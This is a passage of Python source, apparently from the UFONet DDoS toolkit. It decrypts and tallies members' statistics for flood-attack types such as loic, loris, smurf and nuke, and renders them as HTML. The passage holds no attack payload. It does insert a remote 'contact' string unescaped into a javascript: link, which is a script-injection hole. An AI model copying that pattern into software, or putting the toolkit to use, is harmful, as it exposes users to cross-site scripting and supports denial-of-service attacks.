  4476. version = m.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2|14->1.2.1)
  4477. m = m.split(grid_msg_sep)
  4478. mothership_members = mothership_members + 1 # add new registered member to mothership stats
  4479. grid_nickname = m[0] # nickname
  4480. self.decrypt(grid_key, grid_nickname)
  4481. if self.decryptedtext:
  4482. grid_nickname = self.decryptedtext
  4483. else:
  4484. grid_nickname = nodec_text
  4485. unknown_members = unknown_members + 1 # add members as unknown
  4486. self.decryptedtext = "" # clean decryptedtext buffer
  4487. if len(grid_nickname) > 12 or len(grid_nickname) < 3: # m[0] = grid_nickname (>str3<str12)
  4488. grid_nickname = "Anonymous"
  4489. else:
  4490. grid_nickname = str(grid_nickname) # nickname
  4491. grid_ranking = m[1] # ranking
  4492. self.decrypt(grid_key, grid_ranking)
  4493. if self.decryptedtext:
  4494. try:
  4495. grid_ranking = int(self.decryptedtext)
  4496. except:
  4497. grid_ranking = nodec_text
  4498. else:
  4499. grid_ranking = nodec_text
  4500. self.decryptedtext = "" # clean decryptedtext buffer
  4501. if grid_ranking == 1: #Rookie
  4502. grid_ranking = "<font color='white' size='4'>*</font>"
  4503. member_1 = member_1 + 1
  4504. elif grid_ranking == 2: # Mercenary
  4505. grid_ranking = "<font color='cyan' size='4'>**</font>"
  4506. member_2 = member_2 + 1
  4507. elif grid_ranking == 3: # Bandit
  4508. grid_ranking = "<font color='blueviolet' size='4'>***</font>"
  4509. member_3 = member_3 + 1
  4510. elif grid_ranking == 4: # UFOmmander!
  4511. grid_ranking = "<font color='blue' size='4'>****</font>"
  4512. member_4 = member_4 + 1
  4513. elif grid_ranking == 5: # UFOl33t!
  4514. grid_ranking = "<font color='red' size='4'>&#x25BC;</font>"
  4515. member_5 = member_5 + 1
  4516. else:
  4517. grid_ranking = nodec_text
  4518. grid_totalchargo = m[2] # total chargo
  4519. self.decrypt(grid_key, grid_totalchargo)
  4520. if self.decryptedtext:
  4521. grid_totalchargo = self.decryptedtext
  4522. else:
  4523. grid_totalchargo = nodec_text
  4524. self.decryptedtext = "" # clean decryptedtext buffer
  4525. try: # parse for int
  4526. grid_totalchargo = int(grid_totalchargo)
  4527. mothership_chargo = mothership_chargo + grid_totalchargo
  4528. except:
  4529. grid_totalchargo = nodec_text
  4530. grid_dorking = m[3] # dorking
  4531. self.decrypt(grid_key, grid_dorking)
  4532. if self.decryptedtext:
  4533. grid_dorking = self.decryptedtext
  4534. else:
  4535. grid_dorking = nodec_text
  4536. self.decryptedtext = "" # clean decryptedtext buffer
  4537. try: # parse for int
  4538. grid_dorking = int(grid_dorking)
  4539. mothership_dorking = mothership_dorking + grid_dorking
  4540. except:
  4541. grid_dorking = nodec_text
  4542. grid_transferred = m[4] # transferred
  4543. self.decrypt(grid_key, grid_transferred)
  4544. if self.decryptedtext:
  4545. grid_transferred = self.decryptedtext
  4546. else:
  4547. grid_transferred = nodec_text
  4548. self.decryptedtext = "" # clean decryptedtext buffer
  4549. try: # parse for int
  4550. grid_transferred = int(grid_transferred)
  4551. mothership_transferred = mothership_transferred + grid_transferred
  4552. except:
  4553. grid_transferred = nodec_text
  4554. grid_maxchargo = m[5] # maxchargo
  4555. self.decrypt(grid_key, grid_maxchargo)
  4556. if self.decryptedtext:
  4557. grid_maxchargo = self.decryptedtext
  4558. else:
  4559. grid_maxchargo = nodec_text
  4560. self.decryptedtext = "" # clean decryptedtext buffer
  4561. try: # parse for int
  4562. grid_maxchargo = int(grid_maxchargo)
  4563. mothership_maxchargo = mothership_maxchargo + grid_maxchargo
  4564. except:
  4565. grid_maxchargo = nodec_text
  4566. grid_missions = m[6] # missions
  4567. self.decrypt(grid_key, grid_missions)
  4568. if self.decryptedtext:
  4569. grid_missions = self.decryptedtext
  4570. else:
  4571. grid_missions = nodec_text
  4572. self.decryptedtext = "" # clean decryptedtext buffer
  4573. try: # parse for int
  4574. grid_missions = int(grid_missions)
  4575. mothership_missions = mothership_missions + grid_missions
  4576. except:
  4577. grid_missions = nodec_text
  4578. grid_attacks = m[7] # attacks
  4579. self.decrypt(grid_key, grid_attacks)
  4580. if self.decryptedtext:
  4581. grid_attacks = self.decryptedtext
  4582. else:
  4583. grid_attacks = nodec_text
  4584. self.decryptedtext = "" # clean decryptedtext buffer
  4585. try: # parse for int
  4586. grid_attacks = int(grid_attacks)
  4587. mothership_attacks = mothership_attacks + grid_attacks
  4588. except:
  4589. grid_attacks = nodec_text
  4590. grid_loic = m[8] # loic
  4591. self.decrypt(grid_key, grid_loic)
  4592. if self.decryptedtext:
  4593. grid_loic = self.decryptedtext
  4594. else:
  4595. grid_loic = nodec_text
  4596. self.decryptedtext = "" # clean decryptedtext buffer
  4597. try: # parse for int
  4598. grid_loic = int(grid_loic)
  4599. mothership_loic = mothership_loic + grid_loic
  4600. except:
  4601. grid_loic = nodec_text
  4602. if version > 16: # v1.3
  4603. grid_loris = m[9] # loris
  4604. self.decrypt(grid_key, grid_loris)
  4605. if self.decryptedtext:
  4606. grid_loris = self.decryptedtext
  4607. else:
  4608. grid_loris = nodec_text
  4609. self.decryptedtext = "" # clean decryptedtext buffer
  4610. try: # parse for int
  4611. grid_loris = int(grid_loris)
  4612. mothership_loris = mothership_loris + grid_loris
  4613. except:
  4614. grid_loris = nodec_text
  4615. grid_ufosyn = m[10] # ufosyn
  4616. self.decrypt(grid_key, grid_ufosyn)
  4617. if self.decryptedtext:
  4618. grid_ufosyn = self.decryptedtext
  4619. else:
  4620. grid_ufosyn = nodec_text
  4621. self.decryptedtext = "" # clean decryptedtext buffer
  4622. try: # parse for int
  4623. grid_ufosyn = int(grid_ufosyn)
  4624. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  4625. except:
  4626. grid_ufosyn = nodec_text
  4627. grid_spray = m[11] # spray
  4628. self.decrypt(grid_key, grid_spray)
  4629. if self.decryptedtext:
  4630. grid_spray = self.decryptedtext
  4631. else:
  4632. grid_spray = nodec_text
  4633. self.decryptedtext = "" # clean decryptedtext buffer
  4634. try: # parse for int
  4635. grid_spray = int(grid_spray)
  4636. mothership_spray = mothership_spray + grid_spray
  4637. except:
  4638. grid_spray = nodec_text
  4639. grid_smurf = m[12] # smurf
  4640. self.decrypt(grid_key, grid_smurf)
  4641. if self.decryptedtext:
  4642. grid_smurf = self.decryptedtext
  4643. else:
  4644. grid_smurf = nodec_text
  4645. self.decryptedtext = "" # clean decryptedtext buffer
  4646. try: # parse for int
  4647. grid_smurf = int(grid_smurf)
  4648. mothership_smurf = mothership_smurf + grid_smurf
  4649. except:
  4650. grid_smurf = nodec_text
  4651. grid_xmas = m[13] # xmas
  4652. self.decrypt(grid_key, grid_xmas)
  4653. if self.decryptedtext:
  4654. grid_xmas = self.decryptedtext
  4655. else:
  4656. grid_xmas = nodec_text
  4657. self.decryptedtext = "" # clean decryptedtext buffer
  4658. try: # parse for int
  4659. grid_xmas = int(grid_xmas)
  4660. mothership_xmas = mothership_xmas + grid_xmas
  4661. except:
  4662. grid_xmas = nodec_text
  4663. grid_nuke = m[14] # nuke
  4664. self.decrypt(grid_key, grid_nuke)
  4665. if self.decryptedtext:
  4666. grid_nuke = self.decryptedtext
  4667. else:
  4668. grid_nuke = nodec_text
  4669. self.decryptedtext = "" # clean decryptedtext buffer
  4670. try: # parse for int
  4671. grid_nuke = int(grid_nuke)
  4672. mothership_nuke = mothership_nuke + grid_nuke
  4673. except:
  4674. grid_nuke = nodec_text
  4675. grid_tachyon = m[15] # nuke
  4676. self.decrypt(grid_key, grid_tachyon)
  4677. if self.decryptedtext:
  4678. grid_tachyon = self.decryptedtext
  4679. else:
  4680. grid_tachyon = nodec_text
  4681. self.decryptedtext = "" # clean decryptedtext buffer
  4682. try: # parse for int
  4683. grid_tachyon = int(grid_tachyon)
  4684. mothership_tachyon = mothership_tachyon + grid_tachyon
  4685. except:
  4686. grid_tachyon = nodec_text
  4687. try: # decrypt + parse contact len + correct js view (without blank spaces)
  4688. grid_contact = m[16] # contact
  4689. self.decrypt(grid_key, grid_contact)
  4690. if self.decryptedtext:
  4691. grid_contact = self.decryptedtext
  4692. else:
  4693. grid_contact = nodec_text
  4694. self.decryptedtext = "" # clean decryptedtext buffer
  4695. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[16] = grid_contact (>str3<str120)
  4696. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4697. else:
  4698. try:
  4699. if " " in grid_contact: # m[16] = grid_contact
  4700. grid_contact = grid_contact.replace(" ","")
  4701. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4702. except:
  4703. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4704. except:
  4705. pass
  4706. try:
  4707. grid_id = m[17] # id
  4708. except:
  4709. pass
  4710. elif version == 16: # v1.2.1
  4711. grid_loris = m[9] # loris
  4712. self.decrypt(grid_key, grid_loris)
  4713. if self.decryptedtext:
  4714. grid_loris = self.decryptedtext
  4715. else:
  4716. grid_loris = nodec_text
  4717. self.decryptedtext = "" # clean decryptedtext buffer
  4718. try: # parse for int
  4719. grid_loris = int(grid_loris)
  4720. mothership_loris = mothership_loris + grid_loris
  4721. except:
  4722. grid_loris = nodec_text
  4723. grid_ufosyn = m[10] # ufosyn
  4724. self.decrypt(grid_key, grid_ufosyn)
  4725. if self.decryptedtext:
  4726. grid_ufosyn = self.decryptedtext
  4727. else:
  4728. grid_ufosyn = nodec_text
  4729. self.decryptedtext = "" # clean decryptedtext buffer
  4730. try: # parse for int
  4731. grid_ufosyn = int(grid_ufosyn)
  4732. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  4733. except:
  4734. grid_ufosyn = nodec_text
  4735. grid_spray = m[11] # spray
  4736. self.decrypt(grid_key, grid_spray)
  4737. if self.decryptedtext:
  4738. grid_spray = self.decryptedtext
  4739. else:
  4740. grid_spray = nodec_text
  4741. self.decryptedtext = "" # clean decryptedtext buffer
  4742. try: # parse for int
  4743. grid_spray = int(grid_spray)
  4744. mothership_spray = mothership_spray + grid_spray
  4745. except:
  4746. grid_spray = nodec_text
  4747. grid_smurf = m[12] # smurf
  4748. self.decrypt(grid_key, grid_smurf)
  4749. if self.decryptedtext:
  4750. grid_smurf = self.decryptedtext
  4751. else:
  4752. grid_smurf = nodec_text
  4753. self.decryptedtext = "" # clean decryptedtext buffer
  4754. try: # parse for int
  4755. grid_smurf = int(grid_smurf)
  4756. mothership_smurf = mothership_smurf + grid_smurf
  4757. except:
  4758. grid_smurf = nodec_text
  4759. grid_xmas = m[13] # xmas
  4760. self.decrypt(grid_key, grid_xmas)
  4761. if self.decryptedtext:
  4762. grid_xmas = self.decryptedtext
  4763. else:
  4764. grid_xmas = nodec_text
  4765. self.decryptedtext = "" # clean decryptedtext buffer
  4766. try: # parse for int
  4767. grid_xmas = int(grid_xmas)
  4768. mothership_xmas = mothership_xmas + grid_xmas
  4769. except:
  4770. grid_xmas = nodec_text
  4771. grid_nuke = m[14] # nuke
  4772. self.decrypt(grid_key, grid_nuke)
  4773. if self.decryptedtext:
  4774. grid_nuke = self.decryptedtext
  4775. else:
  4776. grid_nuke = nodec_text
  4777. self.decryptedtext = "" # clean decryptedtext buffer
  4778. try: # parse for int
  4779. grid_nuke = int(grid_nuke)
  4780. mothership_nuke = mothership_nuke + grid_nuke
  4781. except:
  4782. grid_nuke = nodec_text
  4783. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  4784. self.decrypt(grid_key, grid_tachyon)
  4785. if self.decryptedtext:
  4786. grid_tachyon = self.decryptedtext
  4787. else:
  4788. grid_tachyon = nodec_text
  4789. self.decryptedtext = "" # clean decryptedtext buffer
  4790. try: # parse for int
  4791. grid_tachyon = int(grid_tachyon)
  4792. mothership_tachyon = mothership_tachyon + grid_tachyon
  4793. except:
  4794. grid_tachyon = nodec_text
  4795. try: # decrypt + parse contact len + correct js view (without blank spaces)
  4796. grid_contact = m[15] # contact
  4797. self.decrypt(grid_key, grid_contact)
  4798. if self.decryptedtext:
  4799. grid_contact = self.decryptedtext
  4800. else:
  4801. grid_contact = nodec_text
  4802. self.decryptedtext = "" # clean decryptedtext buffer
  4803. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[15] = grid_contact (>str3<str120)
  4804. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4805. else:
  4806. try:
  4807. if " " in grid_contact: # m[15] = grid_contact
  4808. grid_contact = grid_contact.replace(" ","")
  4809. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4810. except:
  4811. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4812. except:
  4813. pass
  4814. try:
  4815. grid_id = m[16] # id
  4816. except:
  4817. pass
  4818. elif version == 15: # v1.2
  4819. grid_loris = m[9] # loris
  4820. self.decrypt(grid_key, grid_loris)
  4821. if self.decryptedtext:
  4822. grid_loris = self.decryptedtext
  4823. else:
  4824. grid_loris = nodec_text
  4825. self.decryptedtext = "" # clean decryptedtext buffer
  4826. try: # parse for int
  4827. grid_loris = int(grid_loris)
  4828. mothership_loris = mothership_loris + grid_loris
  4829. except:
  4830. grid_loris = nodec_text
  4831. grid_ufosyn = m[10] # ufosyn
  4832. self.decrypt(grid_key, grid_ufosyn)
  4833. if self.decryptedtext:
  4834. grid_ufosyn = self.decryptedtext
  4835. else:
  4836. grid_ufosyn = nodec_text
  4837. self.decryptedtext = "" # clean decryptedtext buffer
  4838. try: # parse for int
  4839. grid_ufosyn = int(grid_ufosyn)
  4840. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  4841. except:
  4842. grid_ufosyn = nodec_text
  4843. grid_spray = m[11] # spray
  4844. self.decrypt(grid_key, grid_spray)
  4845. if self.decryptedtext:
  4846. grid_spray = self.decryptedtext
  4847. else:
  4848. grid_spray = nodec_text
  4849. self.decryptedtext = "" # clean decryptedtext buffer
  4850. try: # parse for int
  4851. grid_spray = int(grid_spray)
  4852. mothership_spray = mothership_spray + grid_spray
  4853. except:
  4854. grid_spray = nodec_text
  4855. grid_smurf = m[12] # smurf
  4856. self.decrypt(grid_key, grid_smurf)
  4857. if self.decryptedtext:
  4858. grid_smurf = self.decryptedtext
  4859. else:
  4860. grid_smurf = nodec_text
  4861. self.decryptedtext = "" # clean decryptedtext buffer
  4862. try: # parse for int
  4863. grid_smurf = int(grid_smurf)
  4864. mothership_smurf = mothership_smurf + grid_smurf
  4865. except:
  4866. grid_smurf = nodec_text
  4867. grid_xmas = m[13] # xmas
  4868. self.decrypt(grid_key, grid_xmas)
  4869. if self.decryptedtext:
  4870. grid_xmas = self.decryptedtext
  4871. else:
  4872. grid_xmas = nodec_text
  4873. self.decryptedtext = "" # clean decryptedtext buffer
  4874. try: # parse for int
  4875. grid_xmas = int(grid_xmas)
  4876. mothership_xmas = mothership_xmas + grid_xmas
  4877. except:
  4878. grid_xmas = nodec_text
  4879. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  4880. self.decrypt(grid_key, grid_nuke)
  4881. if self.decryptedtext:
  4882. grid_nuke = self.decryptedtext
  4883. else:
  4884. grid_nuke = nodec_text
  4885. self.decryptedtext = "" # clean decryptedtext buffer
  4886. try: # parse for int
  4887. grid_nuke = int(grid_nuke)
  4888. mothership_nuke = mothership_nuke + grid_nuke
  4889. except:
  4890. grid_nuke = nodec_text
  4891. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  4892. self.decrypt(grid_key, grid_tachyon)
  4893. if self.decryptedtext:
  4894. grid_tachyon = self.decryptedtext
  4895. else:
  4896. grid_tachyon = nodec_text
  4897. self.decryptedtext = "" # clean decryptedtext buffer
  4898. try: # parse for int
  4899. grid_tachyon = int(grid_tachyon)
  4900. mothership_tachyon = mothership_tachyon + grid_tachyon
  4901. except:
  4902. grid_tachyon = nodec_text
  4903. try: # decrypt + parse contact len + correct js view (without blank spaces)
  4904. grid_contact = m[14] # contact
  4905. self.decrypt(grid_key, grid_contact)
  4906. if self.decryptedtext:
  4907. grid_contact = self.decryptedtext
  4908. else:
  4909. grid_contact = nodec_text
  4910. self.decryptedtext = "" # clean decryptedtext buffer
  4911. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[14] = grid_contact (>str3<str120)
  4912. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4913. else:
  4914. try:
  4915. if " " in grid_contact: # m[14] = grid_contact
  4916. grid_contact = grid_contact.replace(" ","")
  4917. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4918. except:
  4919. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4920. except:
  4921. pass
  4922. try:
  4923. grid_id = m[15] # id
  4924. except:
  4925. pass
  4926. elif version == 12: # v1.1
  4927. grid_loris = m[9] # loris
  4928. self.decrypt(grid_key, grid_loris)
  4929. if self.decryptedtext:
  4930. grid_loris = self.decryptedtext
  4931. else:
  4932. grid_loris = nodec_text
  4933. self.decryptedtext = "" # clean decryptedtext buffer
  4934. try: # parse for int
  4935. grid_loris = int(grid_loris)
  4936. mothership_loris = mothership_loris + grid_loris
  4937. except:
  4938. grid_loris = nodec_text
  4939. grid_ufosyn = m[10] # ufosyn
  4940. self.decrypt(grid_key, grid_ufosyn)
  4941. if self.decryptedtext:
  4942. grid_ufosyn = self.decryptedtext
  4943. else:
  4944. grid_ufosyn = nodec_text
  4945. self.decryptedtext = "" # clean decryptedtext buffer
  4946. try: # parse for int
  4947. grid_ufosyn = int(grid_ufosyn)
  4948. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  4949. except:
  4950. grid_ufosyn = nodec_text
  4951. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  4952. self.decrypt(grid_key, grid_spray)
  4953. if self.decryptedtext:
  4954. grid_spray = self.decryptedtext
  4955. else:
  4956. grid_spray = nodec_text
  4957. self.decryptedtext = "" # clean decryptedtext buffer
  4958. try: # parse for int
  4959. grid_spray = int(grid_spray)
  4960. mothership_spray = mothership_spray + grid_spray
  4961. except:
  4962. grid_spray = nodec_text
  4963. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  4964. self.decrypt(grid_key, grid_smurf)
  4965. if self.decryptedtext:
  4966. grid_smurf = self.decryptedtext
  4967. else:
  4968. grid_smurf = nodec_text
  4969. self.decryptedtext = "" # clean decryptedtext buffer
  4970. try: # parse for int
  4971. grid_smurf = int(grid_smurf)
  4972. mothership_smurf = mothership_smurf + grid_smurf
  4973. except:
  4974. grid_smurf = nodec_text
  4975. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  4976. self.decrypt(grid_key, grid_xmas)
  4977. if self.decryptedtext:
  4978. grid_xmas = self.decryptedtext
  4979. else:
  4980. grid_xmas = nodec_text
  4981. self.decryptedtext = "" # clean decryptedtext buffer
  4982. try: # parse for int
  4983. grid_xmas = int(grid_xmas)
  4984. mothership_xmas = mothership_xmas + grid_xmas
  4985. except:
  4986. grid_xmas = nodec_text
  4987. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  4988. self.decrypt(grid_key, grid_nuke)
  4989. if self.decryptedtext:
  4990. grid_nuke = self.decryptedtext
  4991. else:
  4992. grid_nuke = nodec_text
  4993. self.decryptedtext = "" # clean decryptedtext buffer
  4994. try: # parse for int
  4995. grid_nuke = int(grid_nuke)
  4996. mothership_nuke = mothership_nuke + grid_nuke
  4997. except:
  4998. grid_nuke = nodec_text
  4999. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  5000. self.decrypt(grid_key, grid_tachyon)
  5001. if self.decryptedtext:
  5002. grid_tachyon = self.decryptedtext
  5003. else:
  5004. grid_tachyon = nodec_text
  5005. self.decryptedtext = "" # clean decryptedtext buffer
  5006. try: # parse for int
  5007. grid_tachyon = int(grid_tachyon)
  5008. mothership_tachyon = mothership_tachyon + grid_tachyon
  5009. except:
  5010. grid_tachyon = nodec_text
  5011. try: # decrypt + parse contact len + correct js view (without blank spaces)
  5012. grid_contact = m[11] # contact
  5013. self.decrypt(grid_key, grid_contact)
  5014. if self.decryptedtext:
  5015. grid_contact = self.decryptedtext
  5016. else:
  5017. grid_contact = nodec_text
  5018. self.decryptedtext = "" # clean decryptedtext buffer
  5019. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[11] = grid_contact (>str3<str120)
  5020. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  5021. else:
  5022. try:
  5023. if " " in grid_contact: # m[11] = grid_contact
  5024. grid_contact = grid_contact.replace(" ","")
  5025. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  5026. except:
  5027. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  5028. except:
  5029. pass
  5030. try:
  5031. grid_id = m[12] # id
  5032. except:
  5033. pass
  5034. elif version == 11: # v1.0
  5035. grid_loris = m[9] # loris
  5036. self.decrypt(grid_key, grid_loris)
  5037. if self.decryptedtext:
  5038. grid_loris = self.decryptedtext
  5039. else:
  5040. grid_loris = nodec_text
  5041. self.decryptedtext = "" # clean decryptedtext buffer
  5042. try: # parse for int
  5043. grid_loris = int(grid_loris)
  5044. mothership_loris = mothership_loris + grid_loris
  5045. except:
  5046. grid_loris = nodec_text
  5047. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  5048. self.decrypt(grid_key, grid_ufosyn)
  5049. if self.decryptedtext:
  5050. grid_ufosyn = self.decryptedtext
  5051. else:
  5052. grid_ufosyn = nodec_text
  5053. self.decryptedtext = "" # clean decryptedtext buffer
  5054. try: # parse for int
  5055. grid_ufosyn = int(grid_ufosyn)
  5056. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  5057. except:
  5058. grid_ufosyn = nodec_text
  5059. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  5060. self.decrypt(grid_key, grid_spray)
  5061. if self.decryptedtext:
  5062. grid_spray = self.decryptedtext
  5063. else:
  5064. grid_spray = nodec_text
  5065. self.decryptedtext = "" # clean decryptedtext buffer
  5066. try: # parse for int
  5067. grid_spray = int(grid_spray)
  5068. mothership_spray = mothership_spray + grid_spray
  5069. except:
  5070. grid_spray = nodec_text
  5071. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  5072. self.decrypt(grid_key, grid_smurf)
  5073. if self.decryptedtext:
  5074. grid_smurf = self.decryptedtext
  5075. else:
  5076. grid_smurf = nodec_text
  5077. self.decryptedtext = "" # clean decryptedtext buffer
  5078. try: # parse for int
  5079. grid_smurf = int(grid_smurf)
  5080. mothership_smurf = mothership_smurf + grid_smurf
  5081. except:
  5082. grid_smurf = nodec_text
  5083. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  5084. self.decrypt(grid_key, grid_xmas)
  5085. if self.decryptedtext:
  5086. grid_xmas = self.decryptedtext
  5087. else:
  5088. grid_xmas = nodec_text
  5089. self.decryptedtext = "" # clean decryptedtext buffer
  5090. try: # parse for int
  5091. grid_xmas = int(grid_xmas)
  5092. mothership_xmas = mothership_xmas + grid_xmas
  5093. except:
  5094. grid_xmas = nodec_text
  5095. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  5096. self.decrypt(grid_key, grid_nuke)
  5097. if self.decryptedtext:
  5098. grid_nuke = self.decryptedtext
  5099. else:
  5100. grid_nuke = nodec_text
  5101. self.decryptedtext = "" # clean decryptedtext buffer
  5102. try: # parse for int
  5103. grid_nuke = int(grid_nuke)
  5104. mothership_nuke = mothership_nuke + grid_nuke
  5105. except:
  5106. grid_nuke = nodec_text
  5107. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  5108. self.decrypt(grid_key, grid_tachyon)
  5109. if self.decryptedtext:
  5110. grid_tachyon = self.decryptedtext
  5111. else:
  5112. grid_tachyon = nodec_text
  5113. self.decryptedtext = "" # clean decryptedtext buffer
  5114. try: # parse for int
  5115. grid_tachyon = int(grid_tachyon)
  5116. mothership_tachyon = mothership_tachyon + grid_tachyon
  5117. except:
  5118. grid_tachyon = nodec_text
  5119. try: # decrypt + parse contact len + correct js view (without blank spaces)
  5120. grid_contact = m[10] # contact
  5121. self.decrypt(grid_key, grid_contact)
  5122. if self.decryptedtext:
  5123. grid_contact = self.decryptedtext
  5124. else:
  5125. grid_contact = nodec_text
  5126. self.decryptedtext = "" # clean decryptedtext buffer
  5127. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[10] = grid_contact (>str3<str120)
  5128. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  5129. else:
  5130. try:
  5131. if " " in grid_contact: # m[10] = grid_contact
  5132. grid_contact = grid_contact.replace(" ","")
  5133. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  5134. except:
  5135. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  5136. except:
  5137. pass
  5138. try:
  5139. grid_id = m[11] # id
  5140. except:
  5141. pass
  5142. elif version == 10: # v0.9
  5143. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
  5144. self.decrypt(grid_key, grid_loris)
  5145. if self.decryptedtext:
  5146. grid_loris = self.decryptedtext
  5147. else:
  5148. grid_loris = nodec_text
  5149. self.decryptedtext = "" # clean decryptedtext buffer
  5150. try: # parse for int
  5151. grid_loris = int(grid_loris)
  5152. mothership_loris = mothership_loris + grid_loris
  5153. except:
  5154. grid_loris = nodec_text
  5155. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  5156. self.decrypt(grid_key, grid_ufosyn)
  5157. if self.decryptedtext:
  5158. grid_ufosyn = self.decryptedtext
  5159. else:
  5160. grid_ufosyn = nodec_text
  5161. self.decryptedtext = "" # clean decryptedtext buffer
  5162. try: # parse for int
  5163. grid_ufosyn = int(grid_ufosyn)
  5164. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  5165. except:
  5166. grid_ufosyn = nodec_text
  5167. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  5168. self.decrypt(grid_key, grid_spray)
  5169. if self.decryptedtext:
  5170. grid_spray = self.decryptedtext
  5171. else:
  5172. grid_spray = nodec_text
  5173. self.decryptedtext = "" # clean decryptedtext buffer
  5174. try: # parse for int
  5175. grid_spray = int(grid_spray)
  5176. mothership_spray = mothership_spray + grid_spray
  5177. except:
  5178. grid_spray = nodec_text
  5179. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  5180. self.decrypt(grid_key, grid_smurf)
  5181. if self.decryptedtext:
  5182. grid_smurf = self.decryptedtext
  5183. else:
  5184. grid_smurf = nodec_text
  5185. self.decryptedtext = "" # clean decryptedtext buffer
  5186. try: # parse for int
  5187. grid_smurf = int(grid_smurf)
  5188. mothership_smurf = mothership_smurf + grid_smurf
  5189. except:
  5190. grid_smurf = nodec_text
  5191. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  5192. self.decrypt(grid_key, grid_xmas)
  5193. if self.decryptedtext:
  5194. grid_xmas = self.decryptedtext
  5195. else:
  5196. grid_xmas = nodec_text
  5197. self.decryptedtext = "" # clean decryptedtext buffer
  5198. try: # parse for int
  5199. grid_xmas = int(grid_xmas)
  5200. mothership_xmas = mothership_xmas + grid_xmas
  5201. except:
  5202. grid_xmas = nodec_text
  5203. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  5204. self.decrypt(grid_key, grid_nuke)
  5205. if self.decryptedtext:
  5206. grid_nuke = self.decryptedtext
  5207. else:
  5208. grid_nuke = nodec_text
  5209. self.decryptedtext = "" # clean decryptedtext buffer
  5210. try: # parse for int
  5211. grid_nuke = int(grid_nuke)
  5212. mothership_nuke = mothership_nuke + grid_nuke
  5213. except:
  5214. grid_nuke = nodec_text
  5215. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  5216. self.decrypt(grid_key, grid_tachyon)
  5217. if self.decryptedtext:
  5218. grid_tachyon = self.decryptedtext
  5219. else:
  5220. grid_tachyon = nodec_text
  5221. self.decryptedtext = "" # clean decryptedtext buffer
  5222. try: # parse for int
